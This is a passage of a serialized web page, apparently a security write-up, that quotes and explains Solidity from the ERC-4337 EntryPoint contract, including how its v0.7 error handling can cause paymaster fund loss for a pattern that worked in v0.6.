",{"type":24,"tag":80,"props":110221,"children":110223},{"className":110222},[],[110224],{"type":29,"value":107841},{"type":29,"value":110226}," version ",{"type":24,"tag":80,"props":110228,"children":110230},{"className":110229},[],[110231],{"type":29,"value":110232},"v0.6",{"type":29,"value":110234},", but the pattern no longer works in ",{"type":24,"tag":80,"props":110236,"children":110238},{"className":110237},[],[110239],{"type":29,"value":110240},"v0.7",{"type":29,"value":110242},". In fact, using this pattern can lead to loss of funds for the paymaster. Let's take a closer look at how ",{"type":24,"tag":80,"props":110244,"children":110246},{"className":110245},[],[110247],{"type":29,"value":110240},{"type":29,"value":110249}," handles the execution phase:",{"type":24,"tag":137,"props":110251,"children":110253},{"className":10099,"code":110252,"language":10098,"meta":7,"style":7},"    function _executeUserOp(\n        uint256 opIndex,\n        PackedUserOperation calldata userOp,\n        UserOpInfo memory opInfo\n    )\n    internal virtual\n    returns (uint256 collected) {\n    [...]\n        bool success;\n        {\n    [...]\n            if (methodSig == IAccountExecute.executeUserOp.selector) {\n                bytes memory executeUserOp = abi.encodeCall(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n                innerCall = abi.encodeCall(this.innerHandleOp, (executeUserOp, opInfo, context));\n            } else\n            {\n                innerCall = abi.encodeCall(this.innerHandleOp, (callData, opInfo, context));\n            }\n            assembly (\"memory-safe\") {\n                success := call(gas(), address(), 0, add(innerCall, 0x20), mload(innerCall), 0, 32)\n                collected := mload(0)\n            }\n            _restoreFreePtr(saveFreePtr);\n        }\n        if (!success) {\n    [...]\n            if (innerRevertCode == INNER_OUT_OF_GAS) {\n                // handleOps was called with gas limit too low. abort entire bundle.\n                // can only be caused by bundler (leaving not enough gas for inner call)\n                revert FailedOp(opIndex, \"AA95 out of gas\");\n            } else if (innerRevertCode == INNER_REVERT_LOW_PREFUND) {\n                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n                uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n                uint256 actualGasCost = opInfo.prefund;\n                _emitPrefundTooLow(opInfo);\n                _emitUserOperationEvent(opInfo, false, actualGasCost, actualGas);\n                collected = actualGasCost;\n            } else {\n    [...]\n                collected = _postExecution(\n                    IPaymaster.PostOpMode.postOpReverted,\n                    opInfo,\n                    context,\n                    actualGas\n                );\n            }\n        }\n    }\n",[110254],{"type":24,"tag":80,"props":110255,"children":110256},{"__ignoreMap":7},[110257,110273,110289,110309,110326,110333,110346,110370,110377,110390,110397,110404,110425,110464,110501,110513,110520,110556,110563,110584,110672,110701,110708,110721,110728,110748,110755,110776,110784,110792,110819,110847,110855,110898,110918,110931,110953,110969,110984,110991,111011,111019,111027,111035,111043,111051,111058,111065],{"type":24,"tag":147,"props":110258,"children":110259},{"class":149,"line":150},[110260,110264,110269],{"type":24,"tag":147,"props":110261,"children":110262},{"style":218},[110263],{"type":29,"value":95414},{"type":24,"tag":147,"props":110265,"children":110266},{"style":229},[110267],{"type":29,"value":110268}," _executeUserOp",{"type":24,"tag":147,"props":110270,"children":110271},{"style":235},[110272],{"type":29,"value":9088},{"type":24,"tag":147,"props":110274,"children":110275},{"class":149,"line":160},[110276,110280,110285],{"type":24,"tag":147,"props":110277,"children":110278},{"style":9044},[110279],{"type":29,"value":95592},{"type":24,"tag":147,"props":110281,"children":110282},{"style":247},[110283],{"type":29,"value":110284}," opIndex",{"type":24,"tag":147,"props":110286,"children":110287},{"style":235},[110288],{"type":29,"value":1549},{"type":24,"tag":147,"props":110290,"children":110291},{"class":149,"line":169},[110292,110297,110301,110305],{"type":24,"tag":147,"props":110293,"children":110294},{"style":218},[110295],{"type":29,"value":110296},"        PackedUserOperation",{"type":24,"tag":147,"props":110298,"children":110299},{"style":218},[110300],{"type":29,"value":108590},{"type":24,"tag":147,"props":110302,"children":110303},{"style":247},[110304],{"type":29,"value":108595},{"type":24,"tag":147,"props":110306,"children":110307},{"style":235},[110308],{"type":29,"value":1549},{"type":24,"tag":147,"props":110310,"children":110311},{"class":149,"line":178},[110312,110317,110321],{"type":24,"tag":147,"props":110313,"children":110314},{"style":218},[110315],{"type":29,"value":110316},"        UserOpInfo",{"type":24,"tag":147,"props":110318,"children":110319},{"style":218},[110320],{"type":29,"value":108658},{"type":24,"tag":147,"props":110322,"children":110323},{"style":247},[110324],{"type":29,"value":110325}," opInfo\n",{"type":24,"tag":147,"props":110327,"children":110328},{"class":149,"line":187},[110329],{"type":24,"tag":147,"props":110330,"children":110331},{"style":235},[110332],{"type":29,"value":29520},{"type":24,"tag":147,"props":110334,"children":110335},{"class":149,"line":196},[110336,110341],{"type":24,"tag":147,"props":110337,"children":110338},{"style":218},[110339],{"type":29,"value":110340},"    internal",{"type":24,"tag":147,"props":110342,"children":110343},{"style":218},[110344],{"type":29,"value":110345}," virtual\n",{"type":24,"tag":147,"props":110347,"children":110348},{"class":149,"line":205},[110349,110353,110357,110361,110366],{"type":24,"tag":147,"props":110350,"children":110351},{"style":321},[110352],{"type":29,"value":52108},{"type":24,"tag":147,"props":110354,"children":110355},{"style":235},[110356],{"type":29,"value":408},{"type":24,"tag":147,"props":110358,"children":110359},{"style":9044},[110360],{"type":29,"value":51768},{"type":24,"tag":147,"props":110362,"children":110363},{"style":247},[110364],{"type":29,"value":110365}," collected",{"type":24,"tag":147,"props":110367,"children":110368},{"style":235},[110369],{"type":29,"value":505},{"type":24,"tag":147,"props":110371,"children":110372},{"class":149,"line":214},[110373],{"type":24,"tag":147,"props":110374,"children":110375},{"style":235},[110376],{"type":29,"value":305},{"type":24,"tag":147,"props":110378,"children":110379},{"class":149,"line":272},[110380,110385],{"type":24,"tag":147,"props":110381,"children":110382},{"style":9044},[110383],{"type":29,"value":110384},"        bool",{"type":24,"tag":147,"props":110386,"children":110387},{"style":235},[110388],{"type":29,"value":110389}," success;\n",{"type":24,"tag":147,"props":110391,"children":110392},{"class":149,"line":281},[110393],{"type":24,"tag":147,"props":110394,"children":110395},{"style":235},[110396],{"type":29,"value":37259},{"type":24,"tag":147,"props":110398,"children":110399},{"class":149,"line":299},[110400],{"type":24,"tag":147,"props":110401,"children":110402},{"style":235},[110403],{"type":29,"value":305},{"type":24,"tag":147,"props":110405,"children":110406},{"class":149,"line":308},[110407,110411,110416,110420],{"type":24,"tag":147,"props":110408,"children":110409},{"style":321},[110410],{"type":29,"value":64385},{"type":24,"tag":147,"props":110412,"children":110413},{"style":235},[110414],{"type":29,"value":110415}," (methodSig ",{"type":24,"tag":147,"props":110417,"children":110418},{"style":241},[110419],{"type":29,"value":6600},{"type":24,"tag":147,"props":110421,"children":110422},{"style":235},[110423],{"type":29,"value":110424}," IAccountExecute.executeUserOp.selector) {\n",{"type":24,"tag":147,"props":110426,"children":110427},{"class":149,"line":317},[110428,110433,110437,110442,110446,110450,110454,110459],{"type":24,"tag":147,"props":110429,"children":110430},{"style":9044},[110431],{"type":29,"value":110432},"                bytes",{"type":24,"tag":147,"props":110434,"children":110435},{"style":218},[110436],{"type":29,"value":108658},{"type":24,"tag":147,"props":110438,"children":110439},{"style":235},[110440],{"type":29,"value":110441}," executeUserOp ",{"type":24,"tag":147,"props":110443,"children":110444},{"style":241},[110445],{"type":29,"value":369},{"type":24,"tag":147,"props":110447,"children":110448},{"style":218},[110449],{"type":29,"value":109254},{"type":24,"tag":147,"props":110451,"children":110452},{"style":235},[110453],{"type":29,"value":87},{"type":24,"tag":147,"props":110455,"children":110456},{"style":229},[110457],{"type":29,"value":110458},"encodeCall",{"type":24,"tag":147,"props":110460,"children":110461},{"style":235},[110462],{"type":29,"value":110463},"(IAccountExecute.executeUserOp, (userOp, opInfo.userOpHash));\n",{"type":24,"tag":147,"props":110465,"children":110466},{"class":149,"line":332},[110467,110472,110476,110480,110484,110488,110492,110496],{"type":24,"tag":147,"props":110468,"children":110469},{"style":235},[110470],{"type":29,"value":110471},"                innerCall ",{"type":24,"tag":147,"props":110473,"children":110474},{"style":241},[110475],{"type":29,"value":369},{"type":24,"tag":147,"props":110477,"children":110478},{"style":218},[110479],{"type":29,"value":109254},{"type":24,"tag":147,"props":110481,"children":110482},{"style":235},[110483],{"type":29,"value":87},{"type":24,"tag":147,"props":110485,"children":110486},{"style":229},[110487],{"type":29,"value":110458},{"type":24,"tag":147,"props":110489,"children":110490},{"style":235},[110491],{"type":29,"value":480},{"type":24,"tag":147,"props":110493,"children":110494},{"style":218},[110495],{"type":29,"value":23299},{"type":24,"tag":147,"props":110497,"children":110498},{"style":235},[110499],{"type":29,"value":110500},".innerHandleOp, (executeUserOp, opInfo, context));\n",{"type":24,"tag":147,"props":110502,"children":110503},{"class":149,"line":350},[110504,110508],{"type":24,"tag":147,"props":110505,"children":110506},{"style":235},[110507],{"type":29,"value":76177},{"type":24,"tag":147,"props":110509,"children":110510},{"style":321},[110511],{"type":29,"value":110512},"else\n",{"type":24,"tag":147,"props":110514,"children":110515},{"class":149,"line":358},[110516],{"type":24,"tag":147,"props":110517,"children":110518},{"style":235},[110519],{"type":29,"value":37295},{"type":24,"tag":147,"props":110521,"children":110522},{"class":149,"line":397},[110523,110527,110531,110535,110539,110543,110547,110551],{"type":24,"tag":147,"props":110524,"children":110525},{"style":235},[110526],{"type":29,"value":110471},{"type":24,"tag":147,"props":110528,"children":110529},{"style":241},[110530],{"type":29,"value":369},{"type":24,"tag":147,"props":110532,"children":110533},{"style":218},[110534],{"type":29,"value":109254},{"type":24,"tag":147,"props":110536,"children":110537},{"style":235},[110538],{"type":29,"value":87},{"type":24,"tag":147,"props":110540,"children":110541},{"style":229},[110542],{"type":29,"value":110458},{"type":24,"tag":147,"props":110544,"children":110545},{"style":235},[110546],{"type":29,"value":480},{"type":24,"tag":147,"props":110548,"children":110549},{"style":218},[110550],{"type":29,"value":23299},{"type":24,"tag":147,"props":110552,"children":110553},{"style":235},[110554],{"type":29,"value":110555},".innerHandleOp, (callData, opInfo, context));\n",{"type":24,"tag":147,"props":110557,"children":110558},{"class":149,"line":421},[110559],{"type":24,"tag":147,"props":110560,"children":110561},{"style":235},[110562],{"type":29,"value":1935},{"type":24,"tag":147,"props":110564,"children":110565},{"class":149,"line":435},[110566,110571,110575,110580],{"type":24,"tag":147,"props":110567,"children":110568},{"style":229},[110569],{"type":29,"value":110570},"            assembly",{"type":24,"tag":147,"props":110572,"children":110573},{"style":235},[110574],{"type":29,"value":408},{"type":24,"tag":147,"props":110576,"children":110577},{"style":3534},[110578],{"type":29,"value":110579},"\"memory-safe\"",{"type":24,"tag":147,"props":110581,"children":110582},{"style":235},[110583],{"type":29,"value":505},{"type":24,"tag":147,"props":110585,"children":110586},{"class":149,"line":444},[110587,110592,110596,110600,110604,110609,110613,110617,110621,110625,110629,110633,110638,110642,110646,110651,110656,110660,110664,110668],{"type":24,"tag":147,"props":110588,"children":110589},{"style":235},[110590],{"type":29,"value":110591},"                success ",{"type":24,"tag":147,"props":110593,"children":110594},{"style":241},[110595],{"type":29,"value":27209},{"type":24,"tag":147,"props":110597,"children":110598},{"style":229},[110599],{"type":29,"value":46558},{"type":24,"tag":147,"props":110601,"children":110602},{"style":235},[110603],{"type":29,"value":480},{"type":24,"tag":147,"props":110605,"children":110606},{"style":229},[110607],{"type":29,"value":110608},"gas",{"type":24,"tag":147,"props":110610,"children":110611},{"style":235},[110612],{"type":29,"value":23982},{"type":24,"tag":147,"props":110614,"children":110615},{"style":9044},[110616],{"type":29,"value":38241},{"type":24,"tag":147,"props":110618,"children":110619},{"style":235},[110620],{"type":29,"value":23982},{"type":24,"tag":147,"props":110622,"children":110623},{"style":705},[110624],{"type":29,"value":3173},{"type":24,"tag":147,"props":110626,"children":110627},{"style":235},[110628],{"type":29,"value":546},{"type":24,"tag":147,"props":110630,"children":110631},{"style":229},[110632],{"type":29,"value":15259},{"type":24,"tag":147,"props":110634,"children":110635},{"style":235},[110636],{"type":29,"value":110637},"(innerCall, ",{"type":24,"tag":147,"props":110639,"children":110640},{"style":705},[110641],{"type":29,"value":5424},{"type":24,"tag":147,"props":110643,"children":110644},{"style":235},[110645],{"type":29,"value":20789},{"type":24,"tag":147,"props":110647,"children":110648},{"style":229},[110649],{"type":29,"value":110650},"mload",{"type":24,"tag":147,"props":110652,"children":110653},{"style":235},[110654],{"type":29,"value":110655},"(innerCall), ",{"type":24,"tag":147,"props":110657,"children":110658},{"style":705},[110659],{"type":29,"value":3173},{"type":24,"tag":147,"props":110661,"children":110662},{"style":235},[110663],{"type":29,"value":546},{"type":24,"tag":147,"props":110665,"children":110666},{"style":705},[110667],{"type":29,"value":65930},{"type":24,"tag":147,"props":110669,"children":110670},{"style":235},[110671],{"type":29,"value":269},{"type":24,"tag":147,"props":110673,"children":110674},{"class":149,"line":452},[110675,110680,110684,110689,110693,110697],{"type":24,"tag":147,"props":110676,"children":110677},{"style":235},[110678],{"type":29,"value":110679},"                collected ",{"type":24,"tag":147,"props":110681,"children":110682},{"style":241},[110683],{"type":29,"value":27209},{"type":24,"tag":147,"props":110685,"children":110686},{"style":229},[110687],{"type":29,"value":110688}," mload",{"type":24,"tag":147,"props":110690,"children":110691},{"style":235},[110692],{"type":29,"value":480},{"type":24,"tag":147,"props":110694,"children":110695},{"style":705},[110696],{"type":29,"value":3173},{"type":24,"tag":147,"props":110698,"children":110699},{"style":235},[110700],{"type":29,"value":269},{"type":24,"tag":147,"props":110702,"children":110703},{"class":149,"line":461},[110704],{"type":24,"tag":147,"props":110705,"children":110706},{"style":235},[110707],{"type":29,"value":1935},{"type":24,"tag":147,"props":110709,"children":110710},{"class":149,"line":469},[110711,110716],{"type":24,"tag":147,"props":110712,"children":110713},{"style":229},[110714],{"type":29,"value":110715},"            _restoreFreePtr",{"type":24,"tag":147,"props":110717,"children":110718},{"style":235},[110719],{"type":29,"value":110720},"(saveFreePtr);\n",{"type":24,"tag":147,"props":110722,"children":110723},{"class":149,"line":508},[110724],{"type":24,"tag":147,"props":110725,"children":110726},{"style":235},[110727],{"type":29,"value":441},{"type":24,"tag":147,"props":110729,"children":110730},{"class":149,"line":572},[110731,110735,110739,110743],{"type":24,"tag":147,"props":110732,"children":110733},{"style":321},[110734],{"type":29,"value":403},{"type":24,"tag":147,"props":110736,"children":110737},{"style":235},[110738],{"type":29,"value":408},{"type":24,"tag":147,"props":110740,"children":110741},{"style":241},[110742],{"type":29,"value":413},{"type":24,"tag":147,"props":110744,"children":110745},{"style":235},[110746],{"type":29,"value":110747},"success) {\n",{"type":24,"tag":147,"props":110749,"children":110750},{"class":149,"line":591},[110751],{"type":24,"tag":147,"props":110752,"children":110753},{"style":235},[110754],{"type":29,"value":305},{"type":24,"tag":147,"props":110756,"children":110757},{"class":149,"line":632},[110758,110762,110767,110771],{"type":24,"tag":147,"props":110759,"children":110760},{"style":321},[110761],{"type":29,"value":64385},{"type":24,"tag":147,"props":110763,"children":110764},{"style":235},[110765],{"type":29,"value":110766}," (innerRevertCode ",{"type":24,"tag":147,"props":110768,"children":110769},{"style":241},[110770],{"type":29,"value":6600},{"type":24,"tag":147,"props":110772,"children":110773},{"style":235},[110774],{"type":29,"value":110775}," INNER_OUT_OF_GAS) {\n",{"type":24,"tag":147,"props":110777,"children":110778},{"class":149,"line":659},[110779],{"type":24,"tag":147,"props":110780,"children":110781},{"style":154},[110782],{"type":29,"value":110783},"                // handleOps was called with gas limit too low. abort entire bundle.\n",{"type":24,"tag":147,"props":110785,"children":110786},{"class":149,"line":684},[110787],{"type":24,"tag":147,"props":110788,"children":110789},{"style":154},[110790],{"type":29,"value":110791},"                // can only be caused by bundler (leaving not enough gas for inner call)\n",{"type":24,"tag":147,"props":110793,"children":110794},{"class":149,"line":715},[110795,110800,110805,110810,110815],{"type":24,"tag":147,"props":110796,"children":110797},{"style":321},[110798],{"type":29,"value":110799},"                revert",{"type":24,"tag":147,"props":110801,"children":110802},{"style":229},[110803],{"type":29,"value":110804}," FailedOp",{"type":24,"tag":147,"props":110806,"children":110807},{"style":235},[110808],{"type":29,"value":110809},"(opIndex, ",{"type":24,"tag":147,"props":110811,"children":110812},{"style":3534},[110813],{"type":29,"value":110814},"\"AA95 out of gas\"",{"type":24,"tag":147,"props":110816,"children":110817},{"style":235},[110818],{"type":29,"value":1473},{"type":24,"tag":147,"props":110820,"children":110821},{"class":149,"line":744},[110822,110826,110830,110834,110838,110842],{"type":24,"tag":147,"props":110823,"children":110824},{"style":235},[110825],{"type":29,"value":76177},{"type":24,"tag":147,"props":110827,"children":110828},{"style":321},[110829],{"type":29,"value":6625},{"type":24,"tag":147,"props":110831,"children":110832},{"style":321},[110833],{"type":29,"value":21397},{"type":24,"tag":147,"props":110835,"children":110836},{"style":235},[110837],{"type":29,"value":110766},{"type":24,"tag":147,"props":110839,"children":110840},{"style":241},[110841],{"type":29,"value":6600},{"type":24,"tag":147,"props":110843,"children":110844},{"style":235},[110845],{"type":29,"value":110846}," INNER_REVERT_LOW_PREFUND) {\n",{"type":24,"tag":147,"props":110848,"children":110849},{"class":149,"line":784},[110850],{"type":24,"tag":147,"props":110851,"children":110852},{"style":154},[110853],{"type":29,"value":110854},"                // innerCall reverted on prefund too low. treat entire prefund as \"gas cost\"\n",{"type":24,"tag":147,"props":110856,"children":110857},{"class":149,"line":792},[110858,110862,110867,110871,110876,110880,110885,110889,110893],{"type":24,"tag":147,"props":110859,"children":110860},{"style":9044},[110861],{"type":29,"value":109038},{"type":24,"tag":147,"props":110863,"children":110864},{"style":235},[110865],{"type":29,"value":110866}," actualGas ",{"type":24,"tag":147,"props":110868,"children":110869},{"style":241},[110870],{"type":29,"value":369},{"type":24,"tag":147,"props":110872,"children":110873},{"style":235},[110874],{"type":29,"value":110875}," preGas ",{"type":24,"tag":147,"props":110877,"children":110878},{"style":241},[110879],{"type":29,"value":3470},{"type":24,"tag":147,"props":110881,"children":110882},{"style":218},[110883],{"type":29,"value":110884}," gasleft",{"type":24,"tag":147,"props":110886,"children":110887},{"style":235},[110888],{"type":29,"value":19658},{"type":24,"tag":147,"props":110890,"children":110891},{"style":241},[110892],{"type":29,"value":624},{"type":24,"tag":147,"props":110894,"children":110895},{"style":235},[110896],{"type":29,"value":110897}," opInfo.preOpGas;\n",{"type":24,"tag":147,"props":110899,"children":110900},{"class":149,"line":805},[110901,110905,110909,110913],{"type":24,"tag":147,"props":110902,"children":110903},{"style":9044},[110904],{"type":29,"value":109038},{"type":24,"tag":147,"props":110906,"children":110907},{"style":235},[110908],{"type":29,"value":109683},{"type":24,"tag":147,"props":110910,"children":110911},{"style":241},[110912],{"type":29,"value":369},{"type":24,"tag":147,"props":110914,"children":110915},{"style":235},[110916],{"type":29,"value":110917}," opInfo.prefund;\n",{"type":24,"tag":147,"props":110919,"children":110920},{"class":149,"line":813},[110921,110926],{"type":24,"tag":147,"props":110922,"children":110923},{"style":229},[110924],{"type":29,"value":110925},"                _emitPrefundTooLow",{"type":24,"tag":147,"props":110927,"children":110928},{"style":235},[110929],{"type":29,"value":110930},"(opInfo);\n",{"type":24,"tag":147,"props":110932,"children":110933},{"class":149,"line":821},[110934,110939,110944,110948],{"type":24,"tag":147,"props":110935,"children":110936},{"style":229},[110937],{"type":29,"value":110938},"                _emitUserOperationEvent",{"type":24,"tag":147,"props":110940,"children":110941},{"style":235},[110942],{"type":29,"value":110943},"(opInfo, ",{"type":24,"tag":147,"props":110945,"children":110946},{"style":218},[110947],{"type":29,"value":13801},{"type":24,"tag":147,"props":110949,"children":110950},{"style":235},[110951],{"type":29,"value":110952},", actualGasCost, actualGas);\n",{"type":24,"tag":147,"props":110954,"children":110955},{"class":149,"line":1902},[110956,110960,110964],{"type":24,"tag":147,"props":110957,"children":110958},{"style":235},[110959],{"type":29,"value":110679},{"type":24,"tag":147,"props":110961,"children":110962},{"style":241},[110963],{"type":29,"value":369},{"type":24,"tag":147,"props":110965,"children":110966},{"style":235},[110967],{"type":29,"value":110968}," actualGasCost;\n",{"type":24,"tag":147,"props":110970,"children":110971},{"class":149,"line":1920},[110972,110976,110980],{"type":24,"tag":147,"props":110973,"children":110974},{"style":235},[110975],{"type":29,"value":76177},{"type":24,"tag":147,"props":110977,"children":110978},{"style":321},[110979],{"type":29,"value":6625},{"type":24,"tag":147,"props":110981,"children":110982},{"style":235},[110983],{"type":29,"value":6630},{"type":24,"tag":147,"props":110985,"children":110986},{"class":149,"line":1929},[110987],{"type":24,"tag":147,"props":110988,"children":110989},{"style":235},[110990],{"type":29,"value":305},{"type":24,"tag":147,"props":110992,"children":110993},{"class":149,"line":1938},[110994,110998,111002,111007],{"type":24,"tag":147,"props":110995,"children":110996},{"style":235},[110997],{"type":29,"value":110679},{"type":24,"tag":147,"props":110999,"children":111000},{"style":241},[111001],{"type":29,"value":369},{"type":24,"tag":147,"props":111003,"children":111004},{"style":229},[111005],{"type":29,"value":111006}," _postExecution",{"type":24,"tag":147,"props":111008,"children":111009},{"style":235},[111010],{"type":29,"value":9088},{"type":24,"tag":147,"props":111012,"children":111013},{"class":149,"line":1946},[111014],{"type":24,"tag":147,"props":111015,"children":111016},{"style":235},[111017],{"type":29,"value":111018},"                    IPaymaster.PostOpMode.postOpReverted,\n",{"type":24,"tag":147,"props":111020,"children":111021},{"class":149,"line":1955},[111022],{"type":24,"tag":147,"props":111023,"children":111024},{"style":235},[111025],{"type":29,"value":111026},"                    opInfo,\n",{"type":24,"tag":147,"props":111028,"children":111029},{"class":149,"line":29376},[111030],{"type":24,"tag":147,"props":111031,"children":111032},{"style":235},[111033],{"type":29,"value":111034},"                    context,\n",{"type":24,"tag":147,"props":111036,"children":111037},{"class":149,"line":29384},[111038],{"type":24,"tag":147,"props":111039,"children":111040},{"style":235},[111041],{"type":29,"value":111042},"                    actualGas\n",{"type":24,"tag":147,"props":111044,"children":111045},{"class":149,"line":29421},[111046],{"type":24,"tag":147,"props":111047,"children":111048},{"style":235},[111049],{"type":29,"value":111050},"                );\n",{"type":24,"tag":147,"props":111052,"children":111053},{"class":149,"line":29434},[111054],{"type":24,"tag":147,"props":111055,"children":111056},{"style":235},[111057],{"type":29,"value":1935},{"type":24,"tag":147,"props":111059,"children":111060},{"class":149,"line":29447},[111061],{"type":24,"tag":147,"props":111062,"children":111063},{"style":235},[111064],{"type":29,"value":441},{"type":24,"tag":147,"props":111066,"children":111067},{"class":149,"line":29460},[111068],{"type":24,"tag":147,"props":111069,"children":111070},{"style":235},[111071],{"type":29,"value":1952},{"type":24,"tag":25,"props":111073,"children":111074},{},[111075,111077,111082,111084,111090,111092,111098,111100,111106],{"type":29,"value":111076},"During execution, the ",{"type":24,"tag":80,"props":111078,"children":111080},{"className":111079},[],[111081],{"type":29,"value":107841},{"type":29,"value":111083}," contract makes a ",{"type":24,"tag":2773,"props":111085,"children":111088},{"href":111086,"rel":111087},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L222-L232",[2777],[111089],{"type":29,"value":43893},{"type":29,"value":111091}," to its own ",{"type":24,"tag":80,"props":111093,"children":111095},{"className":111094},[],[111096],{"type":29,"value":111097},"innerHandleOp",{"type":29,"value":111099}," function through a low-level ",{"type":24,"tag":80,"props":111101,"children":111103},{"className":111102},[],[111104],{"type":29,"value":111105},"call()",{"type":29,"value":111107},". This is done to create a new call context for executing the user operation.",{"type":24,"tag":25,"props":111109,"children":111110},{},[111111,111113,111119,111120,111125,111127,111134,111136,111142],{"type":29,"value":111112},"If this call fails (when ",{"type":24,"tag":80,"props":111114,"children":111116},{"className":111115},[],[111117],{"type":29,"value":111118},"success",{"type":29,"value":5819},{"type":24,"tag":80,"props":111121,"children":111123},{"className":111122},[],[111124],{"type":29,"value":13801},{"type":29,"value":111126},"), the code enters an ",{"type":24,"tag":2773,"props":111128,"children":111131},{"href":111129,"rel":111130},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L235-L273",[2777],[111132],{"type":29,"value":111133},"error handling",{"type":29,"value":111135}," flow that checks the ",{"type":24,"tag":80,"props":111137,"children":111139},{"className":111138},[],[111140],{"type":29,"value":111141},"innerRevertCode",{"type":29,"value":111143},". There are three possible paths:",{"type":24,"tag":2674,"props":111145,"children":111146},{},[111147,111171,111189],{"type":24,"tag":2678,"props":111148,"children":111149},{},[111150,111151,111156,111157,111163,111165,111170],{"type":29,"value":13105},{"type":24,"tag":80,"props":111152,"children":111154},{"className":111153},[],[111155],{"type":29,"value":111141},{"type":29,"value":5819},{"type":24,"tag":80,"props":111158,"children":111160},{"className":111159},[],[111161],{"type":29,"value":111162},"INNER_OUT_OF_GAS",{"type":29,"value":111164},", it means the bundler didn't provide enough gas for execution. This causes the entire bundle to fail with ",{"type":24,"tag":80,"props":111166,"children":111168},{"className":111167},[],[111169],{"type":29,"value":110814},{"type":29,"value":87},{"type":24,"tag":2678,"props":111172,"children":111173},{},[111174,111175,111180,111181,111187],{"type":29,"value":13105},{"type":24,"tag":80,"props":111176,"children":111178},{"className":111177},[],[111179],{"type":29,"value":111141},{"type":29,"value":5819},{"type":24,"tag":80,"props":111182,"children":111184},{"className":111183},[],[111185],{"type":29,"value":111186},"INNER_REVERT_LOW_PREFUND",{"type":29,"value":111188},", it means the user didn't prefund enough gas. In this case, it charges the entire prefund amount as gas cost.",{"type":24,"tag":2678,"props":111190,"children":111191},{},[111192,111194,111200,111202,111208],{"type":29,"value":111193},"For any other revert reason, the code will still call ",{"type":24,"tag":80,"props":111195,"children":111197},{"className":111196},[],[111198],{"type":29,"value":111199},"_postExecution()",{"type":29,"value":111201}," but with ",{"type":24,"tag":80,"props":111203,"children":111205},{"className":111204},[],[111206],{"type":29,"value":111207},"PostOpMode.postOpReverted",{"type":29,"value":111209},". This ensures proper cleanup happens even on failure.",{"type":24,"tag":25,"props":111211,"children":111212},{},[111213,111215,111220,111222,111227,111229,111234,111236,111241],{"type":29,"value":111214},"We're particularly interested in the third error path, where ",{"type":24,"tag":80,"props":111216,"children":111218},{"className":111217},[],[111219],{"type":29,"value":111141},{"type":29,"value":111221}," is neither ",{"type":24,"tag":80,"props":111223,"children":111225},{"className":111224},[],[111226],{"type":29,"value":111162},{"type":29,"value":111228}," nor ",{"type":24,"tag":80,"props":111230,"children":111232},{"className":111231},[],[111233],{"type":29,"value":111186},{"type":29,"value":111235},". To understand this case better, let's examine how ",{"type":24,"tag":80,"props":111237,"children":111239},{"className":111238},[],[111240],{"type":29,"value":111097},{"type":29,"value":111242}," works.",{"type":24,"tag":137,"props":111244,"children":111246},{"className":10099,"code":111245,"language":10098,"meta":7,"style":7},"    function innerHandleOp(\n        bytes memory callData,\n        UserOpInfo memory opInfo,\n        bytes calldata context\n    ) external returns (uint256 actualGasCost) {\n    [...]\n        IPaymaster.PostOpMode mode = IPaymaster.PostOpMode.opSucceeded;\n        if (callData.length > 0) {\n            bool success = Exec.call(mUserOp.sender, 0, callData, callGasLimit);\n            if (!success) {\n                uint256 freePtr = _getFreePtr();\n                bytes memory result = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                if (result.length > 0) {\n                    emit UserOperationRevertReason(\n                        opInfo.userOpHash,\n                        mUserOp.sender,\n                        mUserOp.nonce,\n                        result\n                    );\n                }\n                _restoreFreePtr(freePtr);\n                mode = IPaymaster.PostOpMode.opReverted;\n            }\n        }\n\n        unchecked {\n            uint256 actualGas = preGas - gasleft() + opInfo.preOpGas;\n            return _postExecution(mode, opInfo, context, actualGas);\n        }\n    }\n",[111247],{"type":24,"tag":80,"props":111248,"children":111249},{"__ignoreMap":7},[111250,111266,111287,111307,111323,111356,111363,111380,111404,111444,111463,111488,111522,111546,111563,111571,111579,111587,111595,111603,111610,111623,111640,111647,111654,111661,111672,111711,111727,111734],{"type":24,"tag":147,"props":111251,"children":111252},{"class":149,"line":150},[111253,111257,111262],{"type":24,"tag":147,"props":111254,"children":111255},{"style":218},[111256],{"type":29,"value":95414},{"type":24,"tag":147,"props":111258,"children":111259},{"style":229},[111260],{"type":29,"value":111261}," innerHandleOp",{"type":24,"tag":147,"props":111263,"children":111264},{"style":235},[111265],{"type":29,"value":9088},{"type":24,"tag":147,"props":111267,"children":111268},{"class":149,"line":160},[111269,111274,111278,111283],{"type":24,"tag":147,"props":111270,"children":111271},{"style":9044},[111272],{"type":29,"value":111273},"        bytes",{"type":24,"tag":147,"props":111275,"children":111276},{"style":218},[111277],{"type":29,"value":108658},{"type":24,"tag":147,"props":111279,"children":111280},{"style":247},[111281],{"type":29,"value":111282}," callData",{"type":24,"tag":147,"props":111284,"children":111285},{"style":235},[111286],{"type":29,"value":1549},{"type":24,"tag":147,"props":111288,"children":111289},{"class":149,"line":169},[111290,111294,111298,111303],{"type":24,"tag":147,"props":111291,"children":111292},{"style":218},[111293],{"type":29,"value":110316},{"type":24,"tag":147,"props":111295,"children":111296},{"style":218},[111297],{"type":29,"value":108658},{"type":24,"tag":147,"props":111299,"children":111300},{"style":247},[111301],{"type":29,"value":111302}," opInfo",{"type":24,"tag":147,"props":111304,"children":111305},{"style":235},[111306],{"type":29,"value":1549},{"type":24,"tag":147,"props":111308,"children":111309},{"class":149,"line":178},[111310,111314,111318],{"type":24,"tag":147,"props":111311,"children":111312},{"style":9044},[111313],{"type":29,"value":111273},{"type":24,"tag":147,"props":111315,"children":111316},{"style":218},[111317],{"type":29,"value":108590},{"type":24,"tag":147,"props":111319,"children":111320},{"style":247},[111321],{"type":29,"value":111322}," context\n",{"type":24,"tag":147,"props":111324,"children":111325},{"class":149,"line":187},[111326,111331,111336,111340,111344,111348,111352],{"type":24,"tag":147,"props":111327,"children":111328},{"style":235},[111329],{"type":29,"value":111330},"    ) 